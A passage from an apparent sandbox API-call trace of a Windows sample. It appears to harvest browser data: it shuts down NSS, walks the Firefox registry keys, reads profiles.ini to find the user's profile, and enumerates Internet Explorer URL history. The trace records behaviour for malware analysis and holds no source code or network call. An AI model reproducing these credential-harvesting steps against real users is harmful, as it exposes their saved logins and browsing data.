nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.767] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.767] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.767] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.767] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.767] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.767] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.767] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.767] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.767] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.767] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.767] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.767] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.767] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.767] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.767] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.767] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.767] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.767] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x0, lpOverlapped=0x0) returned 1 [0056.767] CloseHandle (hObject=0x138) returned 1 [0056.767] IStream:LockRegion (This=0x2d9008, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.767] IStream:LockRegion (This=0x2d9008, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.768] PK11_FreeSlot () returned 0x212d000 [0056.768] NSS_Shutdown () returned 0x0 [0056.773] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", phkResult=0x21f9e0 | out: phkResult=0x21f9e0*=0x120) returned 0x0 [0056.773] RegEnumKeyExA (in: hKey=0x120, dwIndex=0x0, lpName=0x2d7ac0, lpcchName=0x21f9d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x21f9d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.773] RegCloseKey (hKey=0x120) returned 0x0 [0056.773] RegEnumKeyExA (in: hKey=0x11c, dwIndex=0x1, lpName=0x2d7238, lpcchName=0x21fa20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Uninstall", lpcchName=0x21fa20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.773] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned 45 [0056.773] lstrlenA (lpString="\\") returned 1 [0056.773] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", ulOptions=0x0, samDesired=0x20019, phkResult=0x21f990 | out: phkResult=0x21f990*=0x120) returned 0x0 [0056.773] RegQueryValueExA (in: hKey=0x120, lpValueName="PathToExe", lpReserved=0x0, lpType=0x21f98c, lpData=0x0, lpcbData=0x21f9b0*=0x0 | out: lpType=0x21f98c*=0x0, lpData=0x0, lpcbData=0x21f9b0*=0x0) returned 0x2 [0056.773] RegCloseKey (hKey=0x120) returned 0x0 [0056.773] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", ulOptions=0x0, samDesired=0x20219, phkResult=0x21f960 | out: phkResult=0x21f960*=0x120) returned 0x0 [0056.774] RegQueryValueExA (in: hKey=0x120, lpValueName="PathToExe", lpReserved=0x0, lpType=0x21f95c, lpData=0x0, lpcbData=0x21f980*=0x1 | out: lpType=0x21f95c*=0x0, lpData=0x0, lpcbData=0x21f980*=0x0) returned 0x2 [0056.774] RegCloseKey (hKey=0x120) returned 0x0 [0056.774] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", ulOptions=0x0, samDesired=0x20119, phkResult=0x21f930 | out: phkResult=0x21f930*=0x0) returned 0x2 [0056.774] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2d7ac0 [0056.774] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", phkResult=0x21f9e0 | out: phkResult=0x21f9e0*=0x120) returned 0x0 [0056.774] RegEnumKeyExA (in: hKey=0x120, dwIndex=0x0, lpName=0x2d7ac0, lpcchName=0x21f9d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x21f9d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.774] RegCloseKey (hKey=0x120) returned 0x0 [0056.774] RegEnumKeyExA (in: hKey=0x11c, dwIndex=0x2, lpName=0x2d7238, lpcchName=0x21fa20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Uninstall", lpcchName=0x21fa20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.774] RegCloseKey (hKey=0x11c) returned 0x0 [0056.774] RegEnumKeyExA (in: hKey=0x114, dwIndex=0x1, lpName=0x2d69b0, lpcchName=0x21fa68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="25.0 (en-US)", lpcchName=0x21fa68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.774] RegCloseKey (hKey=0x114) returned 0x0 [0056.774] RegEnumKeyExA (in: hKey=0x118, dwIndex=0x2, lpName=0x2db9c8, lpcchName=0x21fab0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x21fab0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.774] lstrlenA (lpString="Software\\Mozilla") returned 16 [0056.774] lstrlenA (lpString="\\") returned 1 [0056.774] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fa20 | out: phkResult=0x21fa20*=0x114) returned 0x0 [0056.774] RegQueryValueExA (in: hKey=0x114, lpValueName="PathToExe", lpReserved=0x0, lpType=0x21fa1c, lpData=0x0, lpcbData=0x21fa40*=0x0 | out: lpType=0x21fa1c*=0x0, lpData=0x0, lpcbData=0x21fa40*=0x0) returned 0x2 [0056.774] RegCloseKey (hKey=0x114) returned 0x0 [0056.774] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", ulOptions=0x0, samDesired=0x20219, phkResult=0x21f9f0 | out: phkResult=0x21f9f0*=0x114) returned 0x0 [0056.774] RegQueryValueExA (in: hKey=0x114, lpValueName="PathToExe", lpReserved=0x0, lpType=0x21f9ec, lpData=0x0, lpcbData=0x21fa10*=0x1 | out: lpType=0x21f9ec*=0x0, lpData=0x0, lpcbData=0x21fa10*=0x0) returned 0x2 [0056.774] RegCloseKey (hKey=0x114) returned 0x0 [0056.774] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", ulOptions=0x0, samDesired=0x20119, phkResult=0x21f9c0 | out: phkResult=0x21f9c0*=0x0) returned 0x2 [0056.774] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2d69b0 [0056.774] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", phkResult=0x21fa70 | out: phkResult=0x21fa70*=0x114) returned 0x0 [0056.774] RegEnumKeyExA (in: hKey=0x114, dwIndex=0x0, lpName=0x2d69b0, lpcchName=0x21fa68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="bin", lpcchName=0x21fa68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.775] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0") returned 37 [0056.775] lstrlenA (lpString="\\") returned 1 [0056.775] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", ulOptions=0x0, samDesired=0x20019, phkResult=0x21f9d8 | out: phkResult=0x21f9d8*=0x11c) returned 0x0 [0056.775] RegQueryValueExA (in: hKey=0x11c, lpValueName="PathToExe", lpReserved=0x0, lpType=0x21f9d4, lpData=0x0, lpcbData=0x21f9f8*=0x0 | out: lpType=0x21f9d4*=0x1, lpData=0x0, lpcbData=0x21f9f8*=0x33) returned 0x0 [0056.775] RegQueryValueExA (in: hKey=0x11c, lpValueName="PathToExe", lpReserved=0x0, lpType=0x0, lpData=0x2d29b8, lpcbData=0x21f9f8*=0x33 | out: lpType=0x0, lpData=0x2d29b8*=0x43, lpcbData=0x21f9f8*=0x33) returned 0x0 [0056.775] RegCloseKey (hKey=0x11c) returned 0x0 [0056.775] lstrlenA (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned 50 [0056.775] lstrlenA (lpString="") returned 0 [0056.775] StrRChrIA (lpStart="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpEnd=0x0, wMatch=0x5c) returned="\\firefox.exe" [0056.775] lstrlenA (lpString="C:\\Program Files (x86)\\Mozilla Firefox") returned 38 [0056.775] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x2cc7a8 [0056.775] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x2cc7a8 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0056.775] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0056.775] lstrlenA (lpString="\\Mozilla\\Firefox\\") returned 17 [0056.775] GetPrivateProfileSectionNamesA (in: lpszReturnBuffer=0x2dd7e0, nSize=0xfde8, lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\\\profiles.ini" | out: lpszReturnBuffer="General") returned 0x11 [0056.777] StrStrIA (lpFirst="General", lpSrch="Profile") returned 0x0 [0056.777] lstrlenA (lpString="General") returned 7 [0056.777] StrStrIA (lpFirst="Profile0", lpSrch="Profile") returned="Profile0" [0056.777] GetPrivateProfileStringA (in: lpAppName="Profile0", lpKeyName="Path", lpDefault="", lpReturnedString=0x2d7238, nSize=0xfff, lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\\\profiles.ini" | out: lpReturnedString="Profiles/asmpdd98.default") returned 0x19 [0056.778] GetPrivateProfileIntA (lpAppName="Profile0", lpKeyName="IsRelative", nDefault=1, lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\\\profiles.ini") returned 0x1 [0056.779] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\\\") returned 57 [0056.779] lstrlenA (lpString="Profiles/asmpdd98.default") returned 25 [0056.784] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", phkResult=0x21fa28 | out: phkResult=0x21fa28*=0x11c) returned 0x0 [0056.784] RegEnumKeyExA (in: hKey=0x11c, dwIndex=0x0, lpName=0x2d7238, lpcchName=0x21fa20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x21fa20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.784] RegCloseKey (hKey=0x11c) returned 0x0 [0056.784] RegEnumKeyExA (in: hKey=0x114, dwIndex=0x1, lpName=0x2d69b0, lpcchName=0x21fa68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="extensions", lpcchName=0x21fa68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.784] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0") returned 37 [0056.784] lstrlenA (lpString="\\") returned 1 [0056.785] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", ulOptions=0x0, samDesired=0x20019, phkResult=0x21f9d8 | out: phkResult=0x21f9d8*=0x11c) returned 0x0 [0056.785] RegQueryValueExA (in: hKey=0x11c, lpValueName="PathToExe", lpReserved=0x0, lpType=0x21f9d4, lpData=0x0, lpcbData=0x21f9f8*=0x0 | out: lpType=0x21f9d4*=0x0, lpData=0x0, lpcbData=0x21f9f8*=0x0) returned 0x2 [0056.785] RegCloseKey (hKey=0x11c) returned 0x0 [0056.785] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", ulOptions=0x0, samDesired=0x20219, phkResult=0x21f9a8 | out: phkResult=0x21f9a8*=0x11c) returned 0x0 [0056.785] RegQueryValueExA (in: hKey=0x11c, lpValueName="PathToExe", lpReserved=0x0, lpType=0x21f9a4, lpData=0x0, lpcbData=0x21f9c8*=0x1 | out: lpType=0x21f9a4*=0x0, lpData=0x0, lpcbData=0x21f9c8*=0x0) returned 0x2 [0056.785] RegCloseKey (hKey=0x11c) returned 0x0 [0056.785] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", ulOptions=0x0, samDesired=0x20119, phkResult=0x21f978 | out: phkResult=0x21f978*=0x0) returned 0x2 [0056.785] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2d7238 [0056.785] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", phkResult=0x21fa28 | out: phkResult=0x21fa28*=0x11c) returned 0x0 [0056.785] RegEnumKeyExA (in: hKey=0x11c, dwIndex=0x0, lpName=0x2d7238, lpcchName=0x21fa20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x21fa20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.785] RegCloseKey (hKey=0x11c) returned 0x0 [0056.785] RegEnumKeyExA (in: hKey=0x114, dwIndex=0x2, lpName=0x2d69b0, lpcchName=0x21fa68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="extensions", lpcchName=0x21fa68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.785] RegCloseKey (hKey=0x114) returned 0x0 [0056.785] RegEnumKeyExA (in: hKey=0x118, dwIndex=0x3, lpName=0x2db9c8, lpcchName=0x21fab0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x21fab0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.785] RegCloseKey (hKey=0x118) returned 0x0 [0056.785] SetCurrentDirectoryA (lpPathName="C:\\Users\\aDU0VK IWA5kLS\\Desktop" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop")) returned 1 [0056.791] CoCreateInstance (in: rclsid=0xbc0c1e0*(Data1=0x3c374a40, Data2=0xbae4, Data3=0x11cf, Data4=([0]=0xbf, [1]=0x7d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x69, [6]=0x46, [7]=0xee)), pUnkOuter=0x0, dwClsContext=0x15, riid=0xbc0c1f0*(Data1=0x3c374a41, Data2=0xbae4, Data3=0x11cf, Data4=([0]=0xbf, [1]=0x7d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x69, [6]=0x46, [7]=0xee)), ppv=0x21fbcc | out: ppv=0x21fbcc*=0x2e1778) returned 0x0 [0056.806] IUrlHistoryStg:EnumUrls (in: This=0x2e1778, ppenum=0x21fbd4 | out: ppenum=0x21fbd4*=0x2e19c0) returned 0x0 [0056.811] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.826] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/9-%20yRI8eQIRgN6sI.bmp", lpSrch="?") returned 0x0 [0056.826] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.826] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2cbd70 [0056.826] lstrcpyA (in: lpString1=0x2cbd70, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.826] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/9-%20yRI8eQIRgN6sI.bmp") returned 98 [0056.826] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/9-%20yRI8eQIRgN6sI.bmp") returned 98 [0056.826] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.826] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.827] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.827] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.827] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.827] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.827] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.827] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.827] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.827] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.827] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.827] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.828] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.828] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.828] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.828] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.828] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.828] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.828] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.828] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.828] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.828] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.828] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.829] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.829] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.829] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.829] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.829] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.829] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.829] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.829] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.829] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.829] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.830] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.830] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.830] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.830] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.830] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.830] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.830] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.830] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.830] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.830] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.830] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.831] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.831] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.831] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.831] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.831] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.831] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.831] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.831] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.831] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.831] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.831] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.832] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.832] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.832] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.832] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.832] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.832] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.832] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.832] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.832] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.832] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.833] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.833] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.833] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.833] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.833] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.833] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.833] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.833] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.833] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.833] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.833] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.834] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.834] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.834] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.834] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.834] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.834] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.834] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.834] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.834] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.834] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.835] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.835] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.835] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.835] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.835] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.835] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.835] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.835] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.835] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.835] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.835] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.836] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.836] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.836] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 